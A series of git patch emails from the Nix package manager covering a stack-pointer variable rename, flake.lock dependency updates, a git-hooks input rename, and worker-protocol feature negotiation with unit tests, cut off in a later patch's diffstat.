src/libcmd/markdown.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libcmd/markdown.hh b/src/libcmd/markdown.hh index 164f99b98..66db1736c 100644 --- a/src/libcmd/markdown.hh +++ b/src/libcmd/markdown.hh @@ -1,7 +1,7 @@ #pragma once ///@file -#include "types.hh" +#include namespace nix { From 907b0a371abe92b3314612faea0b3d68e048c156 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 16:02:40 +0200 Subject: [PATCH 1168/1251] Rename osStackLow -> osStackLimit This is in accordance with ARM's naming convention. "Low" is confusing, because it could refer to either the cold end of the stack as an abstract data type, or a low address. These are different places, because the stack grows down through the address space. --- src/libexpr/eval-gc.cc | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc index 73ab809e5..75368c5ac 100644 --- a/src/libexpr/eval-gc.cc +++ b/src/libexpr/eval-gc.cc @@ -86,12 +86,13 @@ void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) auto pthread_id = reinterpret_cast(_pthread_id); pthread_attr_t pattr; size_t osStackSize; - void * osStackLow; + // The low address of the stack, which grows down. + void * osStackLimit; void * osStackBase; # ifdef __APPLE__ osStackSize = pthread_get_stacksize_np(pthread_id); - osStackLow = pthread_get_stackaddr_np(pthread_id); + osStackLimit = pthread_get_stackaddr_np(pthread_id); # else if (pthread_attr_init(&pattr)) { throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); @@ -110,18 +111,18 @@ void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) # else # error "Need one of `pthread_attr_get_np` or `pthread_getattr_np`" # endif - if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) { + if (pthread_attr_getstack(&pattr, &osStackLimit, &osStackSize)) { throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed"); } if (pthread_attr_destroy(&pattr)) { throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed"); } # endif - osStackBase = (char *) osStackLow + osStackSize; + osStackBase = (char *) osStackLimit + osStackSize; // NOTE: We assume the stack grows down, as it does on all architectures we support. // Architectures that grow the stack up are rare. - if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack - sp = osStackLow; + if (sp >= osStackBase || sp < osStackLimit) { // lo is outside the os stack + sp = osStackLimit; } } From 68693276f9c5829489132c1f5a142717da84f44a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 23 Jul 2024 16:27:26 +0200 Subject: [PATCH 1169/1251] Update fixupBoehmStackPointer doc lo might have made sense in the bdwgc code, maybe?, but not here. --- src/libexpr/eval-gc.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/eval-gc.cc b/src/libexpr/eval-gc.cc index 75368c5ac..ba19cd74e 100644 --- a/src/libexpr/eval-gc.cc +++ b/src/libexpr/eval-gc.cc @@ -121,7 +121,7 @@ void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) osStackBase = (char *) osStackLimit + osStackSize; // NOTE: We assume the stack grows down, as it does on all architectures we support. // Architectures that grow the stack up are rare. - if (sp >= osStackBase || sp < osStackLimit) { // lo is outside the os stack + if (sp >= osStackBase || sp < osStackLimit) { // sp is outside the os stack sp = osStackLimit; } } From a16df88252a34160fabe7c2710ba11ca51d9fee1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 15:18:50 +0200 Subject: [PATCH 1170/1251] flake.lock: Update MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Flake lock file updates: • Updated input 'flake-compat': 'github:edolstra/flake-compat/35bb57c0c8d8b62bbfd284272c928ceb64ddbde9?narHash=sha256-4gtG9iQuiKITOjNQQeQIpoIB6b16fm%2B504Ch3sNKLd8%3D' (2023-01-17) → 'github:edolstra/flake-compat/0f9255e01c2351cc7d116c072cb317785dd33b33?narHash=sha256-kvjfFW7WAETZlt09AgDn1MrtKzP7t90Vf7vypd3OL1U%3D' (2023-10-04) • Updated input 'flake-parts': 'github:hercules-ci/flake-parts/9126214d0a59633752a136528f5f3b9aa8565b7d?narHash=sha256-sB4SWl2lX95bExY2gMFG5HIzvva5AVMJd4Igm%2BGpZNw%3D' (2024-04-01) → 'github:hercules-ci/flake-parts/9227223f6d922fee3c7b190b2cc238a99527bbb7?narHash=sha256-pQMhCCHyQGRzdfAkdJ4cIWiw%2BJNuWsTX7f0ZYSyz0VY%3D' (2024-07-03) • Updated input 'libgit2': 'github:libgit2/libgit2/45fd9ed7ae1a9b74b957ef4f337bc3c8b3df01b5?narHash=sha256-oX4Z3S9WtJlwvj0uH9HlYcWv%2Bx1hqp8mhXl7HsLu2f0%3D' (2023-10-18) → 'github:libgit2/libgit2/503b66cf00ad7dca940148529f60b1a409ccc462?narHash=sha256-tDUQi%2Bs8sxJ30SmUH7Ln9WmDz5jGatlgKumjwi7KnCo%3D' (2024-07-17) • Updated input 'nixpkgs': 'github:NixOS/nixpkgs/be3ca229c85e978880babdeda9748b14e6aa008f?narHash=sha256-L61BXz7n/yNzOeZ3FqlnUmxj4145JOVeq9fvQTQzbNM%3D' (2024-07-21) → 'github:NixOS/nixpkgs/d0907b75146a0ccc1ec0d6c3db287ec287588ef6?narHash=sha256-PhmkdTJs2SfqKzSyDB74rDKp1MH4mGk0pG/%2BWqrnGEw%3D' (2024-07-24) • Updated input 'pre-commit-hooks': 'github:cachix/pre-commit-hooks.nix/40e6053ecb65fcbf12863338a6dcefb3f55f1bf8?narHash=sha256-nMirxrGteNAl9sWiOhoN5tIHyjBbVi5e2tgZUgZlK3Y%3D' (2024-04-12) → 'github:cachix/pre-commit-hooks.nix/f451c19376071a90d8c58ab1a953c6e9840527fd?narHash=sha256-6FPUl7HVtvRHCCBQne7Ylp4p%2BdpP3P/OYuzjztZ4s70%3D' (2024-07-15) • Removed input 'pre-commit-hooks/flake-utils' --- flake.lock | 46 +++++++++++++++------------------------------- 1 file changed, 15 insertions(+), 31 deletions(-) diff --git a/flake.lock b/flake.lock index 1d59439da..932c5fcf5 100644 --- a/flake.lock +++ b/flake.lock @@ -3,11 +3,11 @@ "flake-compat": { "flake": false, "locked": { - "lastModified": 1673956053, - "narHash": "sha256-4gtG9iQuiKITOjNQQeQIpoIB6b16fm+504Ch3sNKLd8=", + "lastModified": 1696426674, + "narHash": "sha256-kvjfFW7WAETZlt09AgDn1MrtKzP7t90Vf7vypd3OL1U=", "owner": "edolstra", "repo": "flake-compat", - "rev": "35bb57c0c8d8b62bbfd284272c928ceb64ddbde9", + "rev": "0f9255e01c2351cc7d116c072cb317785dd33b33", "type": "github" }, "original": { @@ -23,11 +23,11 @@ ] }, "locked": { - "lastModified": 1712014858, - "narHash": "sha256-sB4SWl2lX95bExY2gMFG5HIzvva5AVMJd4Igm+GpZNw=", + "lastModified": 1719994518, + "narHash": "sha256-pQMhCCHyQGRzdfAkdJ4cIWiw+JNuWsTX7f0ZYSyz0VY=", "owner": "hercules-ci", "repo": "flake-parts", - "rev": "9126214d0a59633752a136528f5f3b9aa8565b7d", + "rev": "9227223f6d922fee3c7b190b2cc238a99527bbb7", "type": "github" }, "original": { @@ -36,29 +36,14 @@ "type": "github" } }, - "flake-utils": { - "locked": { - "lastModified": 1667395993, - "narHash": "sha256-nuEHfE/LcWyuSWnS8t12N1wc105Qtau+/OdUAjtQ0rA=", - "owner": "numtide", - "repo": "flake-utils", - "rev": "5aed5285a952e0b949eb3ba02c12fa4fcfef535f", - "type": "github" - }, - "original": { - "owner": "numtide", - "repo": "flake-utils", - "type": "github" - } - }, "libgit2": { "flake": false, "locked": { - "lastModified": 1697646580, - "narHash": "sha256-oX4Z3S9WtJlwvj0uH9HlYcWv+x1hqp8mhXl7HsLu2f0=", + "lastModified": 1721209236, + "narHash": "sha256-tDUQi+s8sxJ30SmUH7Ln9WmDz5jGatlgKumjwi7KnCo=", "owner": "libgit2", "repo": "libgit2", - "rev": "45fd9ed7ae1a9b74b957ef4f337bc3c8b3df01b5", + "rev": "503b66cf00ad7dca940148529f60b1a409ccc462", "type": "github" }, "original": { @@ -69,11 +54,11 @@ }, "nixpkgs": { "locked": { - "lastModified": 1721560568, - "narHash": "sha256-L61BXz7n/yNzOeZ3FqlnUmxj4145JOVeq9fvQTQzbNM=", + "lastModified": 1721821769, + "narHash": "sha256-PhmkdTJs2SfqKzSyDB74rDKp1MH4mGk0pG/+WqrnGEw=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "be3ca229c85e978880babdeda9748b14e6aa008f", + "rev": "d0907b75146a0ccc1ec0d6c3db287ec287588ef6", "type": "github" }, "original": { @@ -118,7 +103,6 @@ "pre-commit-hooks": { "inputs": { "flake-compat": [], - "flake-utils": "flake-utils", "gitignore": [], "nixpkgs": [ "nixpkgs" @@ -128,11 +112,11 @@ ] }, "locked": { - "lastModified": 1712897695, - "narHash": "sha256-nMirxrGteNAl9sWiOhoN5tIHyjBbVi5e2tgZUgZlK3Y=", + "lastModified": 1721042469, + "narHash": "sha256-6FPUl7HVtvRHCCBQne7Ylp4p+dpP3P/OYuzjztZ4s70=", "owner": "cachix", "repo": "pre-commit-hooks.nix", - "rev": "40e6053ecb65fcbf12863338a6dcefb3f55f1bf8", + "rev": "f451c19376071a90d8c58ab1a953c6e9840527fd", "type": "github" }, "original": { From 650f1894020c586360f30fa4e728fe9eea76d114 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 15:24:10 +0200 Subject: [PATCH 1171/1251] flake.nix: Pin libgit2 to a release --- flake.lock | 7 ++++--- flake.nix | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/flake.lock b/flake.lock index 932c5fcf5..96c35b088 100644 --- a/flake.lock +++ b/flake.lock @@ -39,15 +39,16 @@ "libgit2": { "flake": false, "locked": { - "lastModified": 1721209236, - "narHash": "sha256-tDUQi+s8sxJ30SmUH7Ln9WmDz5jGatlgKumjwi7KnCo=", + "lastModified": 1715853528, + "narHash": "sha256-J2rCxTecyLbbDdsyBWn9w7r3pbKRMkI9E7RvRgAqBdY=", "owner": "libgit2", "repo": "libgit2", - "rev": "503b66cf00ad7dca940148529f60b1a409ccc462", + "rev": "36f7e21ad757a3dacc58cf7944329da6bc1d6e96", "type": "github" }, "original": { "owner": "libgit2", + "ref": "v1.8.1", "repo": "libgit2", "type": "github" } diff --git a/flake.nix b/flake.nix index ff2c8ecfa..45c493c6f 100644 --- a/flake.nix +++ b/flake.nix @@ -7,7 +7,7 @@ inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; inputs.nixpkgs-23-11.url = "github:NixOS/nixpkgs/a62e6edd6d5e1fa0329b8653c801147986f8d446"; inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; - inputs.libgit2 = { url = "github:libgit2/libgit2"; flake = false; }; + inputs.libgit2 = { url = "github:libgit2/libgit2/v1.8.1"; flake = false; }; # dev tooling inputs.flake-parts.url = "github:hercules-ci/flake-parts"; From f9a23c8d2180e644afe930c07680eba9e360d9c5 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 15:30:28 +0200 Subject: [PATCH 1172/1251] flake.nix: Remove outdated comment --- flake.nix | 2 -- 1 file changed, 2 deletions(-) diff --git a/flake.nix b/flake.nix index 45c493c6f..bfa4c409a 100644 --- a/flake.nix +++ b/flake.nix @@ -1,8 +1,6 @@ { description = "The purely functional package manager"; - # TODO switch to nixos-23.11-small - # https://nixpk.gs/pr-tracker.html?pr=291954 inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-24.05"; inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; inputs.nixpkgs-23-11.url = "github:NixOS/nixpkgs/a62e6edd6d5e1fa0329b8653c801147986f8d446"; From c316f1557d9c71a0a6864fa6774a913a52748023 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 15:30:56 +0200 Subject: [PATCH 1173/1251] flake: Switch to nixos-24.05 channel MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Flake lock file updates: • Updated input 'nixpkgs': 'github:NixOS/nixpkgs/d0907b75146a0ccc1ec0d6c3db287ec287588ef6?narHash=sha256-PhmkdTJs2SfqKzSyDB74rDKp1MH4mGk0pG/%2BWqrnGEw%3D' (2024-07-24) → 'github:NixOS/nixpkgs/63d37ccd2d178d54e7fb691d7ec76000740ea24a?narHash=sha256-7cCC8%2BTdq1%2B3OPyc3%2BgVo9dzUNkNIQfwSDJ2HSi2u3o%3D' (2024-07-21) --- flake.lock | 8 ++++---- flake.nix | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/flake.lock b/flake.lock index 96c35b088..d1b54eb87 100644 --- a/flake.lock +++ b/flake.lock @@ -55,16 +55,16 @@ }, "nixpkgs": { "locked": { - "lastModified": 1721821769, - "narHash": "sha256-PhmkdTJs2SfqKzSyDB74rDKp1MH4mGk0pG/+WqrnGEw=", + "lastModified": 1721548954, + "narHash": "sha256-7cCC8+Tdq1+3OPyc3+gVo9dzUNkNIQfwSDJ2HSi2u3o=", "owner": "NixOS", "repo": "nixpkgs", - "rev": "d0907b75146a0ccc1ec0d6c3db287ec287588ef6", + "rev": "63d37ccd2d178d54e7fb691d7ec76000740ea24a", "type": "github" }, "original": { "owner": "NixOS", - "ref": "release-24.05", + "ref": "nixos-24.05", "repo": "nixpkgs", "type": "github" } diff --git a/flake.nix b/flake.nix index bfa4c409a..e6af87723 100644 --- a/flake.nix +++ b/flake.nix @@ -1,7 +1,7 @@ { description = "The purely functional package manager"; - inputs.nixpkgs.url = "github:NixOS/nixpkgs/release-24.05"; + inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.05"; inputs.nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2"; inputs.nixpkgs-23-11.url = "github:NixOS/nixpkgs/a62e6edd6d5e1fa0329b8653c801147986f8d446"; inputs.flake-compat = { url = "github:edolstra/flake-compat"; flake = false; }; From 171ef75218ec1bc0cdfe7b1b49796452d1d6bea6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 15:55:57 +0200 Subject: [PATCH 1174/1251] Rename pre-commit-hooks -> git-hooks-nix Following the upstream rename --- flake.lock | 54 ++++++++++++++++++------------------ flake.nix | 10 +++---- maintainers/flake-module.nix | 2 +- 3 files changed, 33 insertions(+), 33 deletions(-) diff --git a/flake.lock b/flake.lock index d1b54eb87..2ac413a69 100644 --- a/flake.lock +++ b/flake.lock @@ -36,6 +36,31 @@ "type": "github" } }, + "git-hooks-nix": { + "inputs": { + "flake-compat": [], + "gitignore": [], + "nixpkgs": [ + "nixpkgs" + ], + "nixpkgs-stable": [ + "nixpkgs" + ] + }, + "locked": { + "lastModified": 1721042469, + "narHash": "sha256-6FPUl7HVtvRHCCBQne7Ylp4p+dpP3P/OYuzjztZ4s70=", + "owner": "cachix", + "repo": "git-hooks.nix", + "rev": "f451c19376071a90d8c58ab1a953c6e9840527fd", + "type": "github" + }, + "original": { + "owner": "cachix", + "repo": "git-hooks.nix", + "type": "github" + } + }, "libgit2": { "flake": false, "locked": { @@ -101,40 +126,15 @@ "type": "github" } }, - "pre-commit-hooks": { - "inputs": { - "flake-compat": [], - "gitignore": [], - "nixpkgs": [ - "nixpkgs" - ], - "nixpkgs-stable": [ - "nixpkgs" - ] - }, - "locked": { - "lastModified": 1721042469, - "narHash": "sha256-6FPUl7HVtvRHCCBQne7Ylp4p+dpP3P/OYuzjztZ4s70=", - "owner": "cachix", - "repo": "pre-commit-hooks.nix", - "rev": "f451c19376071a90d8c58ab1a953c6e9840527fd", - "type": "github" - }, - "original": { - "owner": "cachix", - "repo": "pre-commit-hooks.nix", - "type": "github" - } - }, "root": { "inputs": { "flake-compat": "flake-compat", "flake-parts": "flake-parts", + "git-hooks-nix": "git-hooks-nix", "libgit2": "libgit2", "nixpkgs": "nixpkgs", "nixpkgs-23-11": "nixpkgs-23-11", - "nixpkgs-regression": "nixpkgs-regression", - "pre-commit-hooks": "pre-commit-hooks" + "nixpkgs-regression": "nixpkgs-regression" } } }, diff --git a/flake.nix b/flake.nix index e6af87723..2384c2974 100644 --- a/flake.nix +++ b/flake.nix @@ -9,14 +9,14 @@ # dev tooling inputs.flake-parts.url = "github:hercules-ci/flake-parts"; - inputs.pre-commit-hooks.url = "github:cachix/pre-commit-hooks.nix"; + inputs.git-hooks-nix.url = "github:cachix/git-hooks.nix"; # work around https://github.com/NixOS/nix/issues/7730 inputs.flake-parts.inputs.nixpkgs-lib.follows = "nixpkgs"; - inputs.pre-commit-hooks.inputs.nixpkgs.follows = "nixpkgs"; - inputs.pre-commit-hooks.inputs.nixpkgs-stable.follows = "nixpkgs"; + inputs.git-hooks-nix.inputs.nixpkgs.follows = "nixpkgs"; + inputs.git-hooks-nix.inputs.nixpkgs-stable.follows = "nixpkgs"; # work around 7730 and https://github.com/NixOS/nix/issues/7807 - inputs.pre-commit-hooks.inputs.flake-compat.follows = ""; - inputs.pre-commit-hooks.inputs.gitignore.follows = ""; + inputs.git-hooks-nix.inputs.flake-compat.follows = ""; + inputs.git-hooks-nix.inputs.gitignore.follows = ""; outputs = inputs@{ self, nixpkgs, nixpkgs-regression, libgit2, ... }: diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index b5c7bfd53..be91df536 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -2,7 +2,7 @@ { imports = [ - inputs.pre-commit-hooks.flakeModule + inputs.git-hooks-nix.flakeModule ]; perSystem = { config, pkgs, ... }: { From 3be7c0037eb4728e201b49572230d563cd2ac096 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 19 Jul 2024 15:48:19 +0200 Subject: [PATCH 1175/1251] WorkerProto: Support fine-grained protocol feature negotiation Currently, the worker protocol has a version number that we increment whenever we change something in the protocol. However, this can cause a collision between Nix PRs / forks that make protocol changes (e.g. PR #9857 increments the version, which could collide with another PR). So instead, the client and daemon now exchange a set of protocol features (such as `auth-forwarding`). They will use the intersection of the sets of features, i.e. the features they both support. Note that protocol features are completely distinct from `ExperimentalFeature`s. --- src/libstore/daemon.cc | 11 ++--- src/libstore/remote-store.cc | 10 ++++- src/libstore/worker-protocol-connection.cc | 51 +++++++++++++++++++--- src/libstore/worker-protocol-connection.hh | 27 ++++++++++-- src/libstore/worker-protocol.hh | 8 +++- tests/unit/libstore/worker-protocol.cc | 49 ++++++++++++++++----- 6 files changed, 127 insertions(+), 29 deletions(-) diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 6533b2f58..94f00cfb6 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -1025,19 +1025,20 @@ void processConnection( #endif /* Exchange the greeting. */ - WorkerProto::Version clientVersion = + auto [protoVersion, features] = WorkerProto::BasicServerConnection::handshake( - to, from, PROTOCOL_VERSION); + to, from, PROTOCOL_VERSION, WorkerProto::allFeatures); - if (clientVersion < 0x10a) + if (protoVersion < 0x10a) throw Error("the Nix client version is too old"); WorkerProto::BasicServerConnection conn; conn.to = std::move(to); conn.from = std::move(from); - conn.protoVersion = clientVersion; + conn.protoVersion = protoVersion; + conn.features = features; - auto tunnelLogger = new TunnelLogger(conn.to, clientVersion); + auto tunnelLogger = new TunnelLogger(conn.to, protoVersion); auto prevLogger = nix::logger; // FIXME if (!recursive) diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc index ebb0864c5..555936c18 100644 --- a/src/libstore/remote-store.cc +++ b/src/libstore/remote-store.cc @@ -73,8 +73,11 @@ void RemoteStore::initConnection(Connection & conn) StringSink saved; TeeSource tee(conn.from, saved); try { - conn.protoVersion = WorkerProto::BasicClientConnection::handshake( - conn.to, tee, PROTOCOL_VERSION); + auto [protoVersion, features] = WorkerProto::BasicClientConnection::handshake( + conn.to, tee, PROTOCOL_VERSION, + WorkerProto::allFeatures); + conn.protoVersion = protoVersion; + conn.features = features; } catch (SerialisationError & e) { /* In case the other side is waiting for our input, close it. */ @@ -88,6 +91,9 @@ void RemoteStore::initConnection(Connection & conn) static_cast(conn) = conn.postHandshake(*this); + for (auto & feature : conn.features) + debug("negotiated feature '%s'", feature); + auto ex = conn.processStderrReturn(); if (ex) std::rethrow_exception(ex); } diff --git a/src/libstore/worker-protocol-connection.cc b/src/libstore/worker-protocol-connection.cc index 93d13d48e..a47dbb689 100644 --- a/src/libstore/worker-protocol-connection.cc +++ b/src/libstore/worker-protocol-connection.cc @@ -5,6 +5,8 @@ namespace nix { +const std::set WorkerProto::allFeatures{}; + WorkerProto::BasicClientConnection::~BasicClientConnection() { try { @@ -137,8 +139,21 @@ void WorkerProto::BasicClientConnection::processStderr(bool * daemonException, S } } -WorkerProto::Version -WorkerProto::BasicClientConnection::handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion) +static std::set +intersectFeatures(const std::set & a, const std::set & b) +{ + std::set res; + for (auto & x : a) + if (b.contains(x)) + res.insert(x); + return res; +} + +std::tuple> WorkerProto::BasicClientConnection::handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures) { to << WORKER_MAGIC_1 << localVersion; to.flush(); @@ -153,11 +168,24 @@ WorkerProto::BasicClientConnection::handshake(BufferedSink & to, Source & from, if (GET_PROTOCOL_MINOR(daemonVersion) < 10) throw Error("the Nix daemon version is too old"); - return std::min(daemonVersion, localVersion); + auto protoVersion = std::min(daemonVersion, localVersion); + + /* Exchange features. */ + std::set daemonFeatures; + if (GET_PROTOCOL_MINOR(protoVersion) >= 38) { + to << supportedFeatures; + to.flush(); + daemonFeatures = readStrings>(from); + } + + return {protoVersion, intersectFeatures(daemonFeatures, supportedFeatures)}; } -WorkerProto::Version -WorkerProto::BasicServerConnection::handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion) +std::tuple> WorkerProto::BasicServerConnection::handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures) { unsigned int magic = readInt(from); if (magic != WORKER_MAGIC_1) @@ -165,7 +193,18 @@ WorkerProto::BasicServerConnection::handshake(BufferedSink & to, Source & from, to << WORKER_MAGIC_2 << localVersion; to.flush(); auto clientVersion = readInt(from); - return std::min(clientVersion, localVersion); + + auto protoVersion = std::min(clientVersion, localVersion); + + /* Exchange features. */ + std::set clientFeatures; + if (GET_PROTOCOL_MINOR(protoVersion) >= 38) { + clientFeatures = readStrings>(from); + to << supportedFeatures; + to.flush(); + } + + return {protoVersion, intersectFeatures(clientFeatures, supportedFeatures)}; } WorkerProto::ClientHandshakeInfo WorkerProto::BasicClientConnection::postHandshake(const StoreDirConfig & store) diff --git a/src/libstore/worker-protocol-connection.hh b/src/libstore/worker-protocol-connection.hh index 38287d08e..9c96195b5 100644 --- a/src/libstore/worker-protocol-connection.hh +++ b/src/libstore/worker-protocol-connection.hh @@ -23,6 +23,11 @@ struct WorkerProto::BasicConnection */ WorkerProto::Version protoVersion; + /** + * The set of features that both sides support. + */ + std::set features; + /** * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the * factored out serve protocol serializers with a @@ -72,8 +77,8 @@ struct WorkerProto::BasicClientConnection : WorkerProto::BasicConnection /** * Establishes connection, negotiating version. * - * @return the version provided by the other side of the - * connection. + * @return the minimum version supported by both sides and the set + * of protocol features supported by both sides. * * @param to Taken by reference to allow for various error handling * mechanisms. @@ -82,8 +87,15 @@ struct WorkerProto::BasicClientConnection : WorkerProto::BasicConnection * handling mechanisms. * * @param localVersion Our version which is sent over + * + * @param features The protocol features that we support */ - static Version handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion); + // FIXME: this should probably be a constructor. + static std::tuple> handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures); /** * After calling handshake, must call this to exchange some basic @@ -138,8 +150,15 @@ struct WorkerProto::BasicServerConnection : WorkerProto::BasicConnection * handling mechanisms. * * @param localVersion Our version which is sent over + * + * @param features The protocol features that we support */ - static WorkerProto::Version handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion); + // FIXME: this should probably be a constructor. + static std::tuple> handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures); /** * After calling handshake, must call this to exchange some basic diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh index 9fc16d015..c356fa1bf 100644 --- a/src/libstore/worker-protocol.hh +++ b/src/libstore/worker-protocol.hh @@ -11,7 +11,9 @@ namespace nix { #define WORKER_MAGIC_1 0x6e697863 #define WORKER_MAGIC_2 0x6478696f -#define PROTOCOL_VERSION (1 << 8 | 37) +/* Note: you generally shouldn't change the protocol version. Define a + new `WorkerProto::Feature` instead. */ +#define PROTOCOL_VERSION (1 << 8 | 38) #define GET_PROTOCOL_MAJOR(x) ((x) & 0xff00) #define GET_PROTOCOL_MINOR(x) ((x) & 0x00ff) @@ -131,6 +133,10 @@ struct WorkerProto { WorkerProto::Serialise::write(store, conn, t); } + + using Feature = std::string; + + static const std::set allFeatures; }; enum struct WorkerProto::Op : uint64_t diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc index c15120010..bbea9ed75 100644 --- a/tests/unit/libstore/worker-protocol.cc +++ b/tests/unit/libstore/worker-protocol.cc @@ -658,15 +658,15 @@ TEST_F(WorkerProtoTest, handshake_log) FdSink out { toServer.writeSide.get() }; FdSource in0 { toClient.readSide.get() }; TeeSource in { in0, toClientLog }; - clientResult = WorkerProto::BasicClientConnection::handshake( - out, in, defaultVersion); + clientResult = std::get<0>(WorkerProto::BasicClientConnection::handshake( + out, in, defaultVersion, {})); }); { FdSink out { toClient.writeSide.get() }; FdSource in { toServer.readSide.get() }; WorkerProto::BasicServerConnection::handshake( - out, in, defaultVersion); + out, in, defaultVersion, {}); }; thread.join(); @@ -675,6 +675,33 @@ TEST_F(WorkerProtoTest, handshake_log) }); } +TEST_F(WorkerProtoTest, handshake_features) +{ + Pipe toClient, toServer; + toClient.create(); + toServer.create(); + + std::tuple> clientResult; + + auto clientThread = std::thread([&]() { + FdSink out { toServer.writeSide.get() }; + FdSource in { toClient.readSide.get() }; + clientResult = WorkerProto::BasicClientConnection::handshake( + out, in, 123, {"bar", "aap", "mies", "xyzzy"}); + }); + + FdSink out { toClient.writeSide.get() }; + FdSource in { toServer.readSide.get() }; + auto daemonResult = WorkerProto::BasicServerConnection::handshake( + out, in, 456, {"foo", "bar", "xyzzy"}); + + clientThread.join(); + + EXPECT_EQ(clientResult, daemonResult); + EXPECT_EQ(std::get<0>(clientResult), 123); + EXPECT_EQ(std::get<1>(clientResult), std::set({"bar", "xyzzy"})); +} + /// Has to be a `BufferedSink` for handshake. struct NullBufferedSink : BufferedSink { void writeUnbuffered(std::string_view data) override { } @@ -686,8 +713,8 @@ TEST_F(WorkerProtoTest, handshake_client_replay) NullBufferedSink nullSink; StringSource in { toClientLog }; - auto clientResult = WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion); + auto clientResult = std::get<0>(WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {})); EXPECT_EQ(clientResult, defaultVersion); }); @@ -705,13 +732,13 @@ TEST_F(WorkerProtoTest, handshake_client_truncated_replay_throws) if (len < 8) { EXPECT_THROW( WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion), + nullSink, in, defaultVersion, {}), EndOfFile); } else { // Not sure why cannot keep on checking for `EndOfFile`. EXPECT_THROW( WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion), + nullSink, in, defaultVersion, {}), Error); } } @@ -734,17 +761,17 @@ TEST_F(WorkerProtoTest, handshake_client_corrupted_throws) // magic bytes don't match EXPECT_THROW( WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion), + nullSink, in, defaultVersion, {}), Error); } else if (idx < 8 || idx >= 12) { // Number out of bounds EXPECT_THROW( WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion), + nullSink, in, defaultVersion, {}), SerialisationError); } else { - auto ver = WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion); + auto ver = std::get<0>(WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion, {})); // `std::min` of this and the other version saves us EXPECT_EQ(ver, defaultVersion); } From 3172e88af544ca53a54930ccf3f580b15141f01c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 20 Jul 2024 22:46:09 +0200 Subject: [PATCH 1176/1251] Make abort() call sites log first --- src/libcmd/repl.cc | 2 +- src/libexpr/attr-path.cc | 2 +- src/libexpr/eval.cc | 8 +++---- src/libexpr/nixexpr.cc | 4 ++-- src/libexpr/primops.cc | 2 +- src/libexpr/print-ambiguous.cc | 2 +- src/libexpr/print.cc | 4 ++-- src/libexpr/symbol-table.hh | 3 ++- src/libexpr/value.hh | 2 +- src/libfetchers/attrs.cc | 4 ++-- src/libmain/loggers.cc | 2 +- .../build/drv-output-substitution-goal.hh | 2 +- src/libstore/build/goal.hh | 4 ++-- src/libstore/build/substitution-goal.hh | 2 +- src/libstore/build/worker.cc | 4 ++-- src/libstore/daemon.cc | 2 +- src/libstore/gc.cc | 2 +- src/libstore/globals.cc | 2 +- src/libstore/nar-info-disk-cache.cc | 4 ++-- .../unix/build/local-derivation-goal.cc | 2 +- src/libstore/unix/pathlocks.cc | 2 +- src/libutil/chunked-vector.hh | 4 